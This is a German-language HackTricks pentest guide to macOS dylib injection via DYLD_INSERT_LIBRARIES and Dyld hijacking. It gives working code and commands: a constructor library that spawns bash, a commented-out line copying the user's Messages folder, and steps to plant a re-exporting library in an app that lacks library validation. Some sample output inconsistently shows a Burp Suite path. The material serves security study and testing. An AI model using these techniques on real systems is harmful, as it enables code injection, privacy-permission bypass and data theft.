macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

Unterstützen Sie HackTricks

DYLD_INSERT_LIBRARIES Grundbeispiel

Bibliothek zum Injizieren, um eine Shell auszuführen:

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}

Binärdatei zum Angreifen:

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}

Injektion:

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Dyld Hijacking Beispiel

Die angreifbare Binärdatei ist /Applications/VulnDyld.app/Contents/Resources/lib/binary.

codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]

Mit den vorherigen Informationen wissen wir, dass es die Signatur der geladenen Bibliotheken nicht überprüft und versucht, eine Bibliothek von:

  • /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib

  • /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib

zu laden. Die erste existiert jedoch nicht:

pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib

So, es ist möglich, es zu übernehmen! Erstellen Sie eine Bibliothek, die beliebigen Code ausführt und die gleichen Funktionen wie die legitime Bibliothek durch Reexportierung bereitstellt. Und denken Sie daran, sie mit den erwarteten Versionen zu kompilieren:

lib.m
#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}

Kompiliere es:

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport

Der im Bibliothek erstellte Reexport-Pfad ist relativ zum Loader, lassen Sie uns ihn in einen absoluten Pfad zur Bibliothek ändern, um ihn zu exportieren:

#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

Kopiere es schließlich einfach an den gehijackten Ort:

cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"

Und führen Sie die Binärdatei aus und überprüfen Sie, ob die Bibliothek geladen wurde:

"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Verwendung: [...]

Ein schöner Bericht darüber, wie man diese Schwachstelle ausnutzen kann, um die Kameraberechtigungen von Telegram zu missbrauchen, ist zu finden unter https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/

Größere Skala

Wenn Sie planen, Bibliotheken in unerwartete Binärdateien zu injizieren, könnten Sie die Ereignismeldungen überprüfen, um herauszufinden, wann die Bibliothek innerhalb eines Prozesses geladen wird (in diesem Fall entfernen Sie das printf und die Ausführung von /bin/bash).

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
Unterstützen Sie HackTricks

Last updated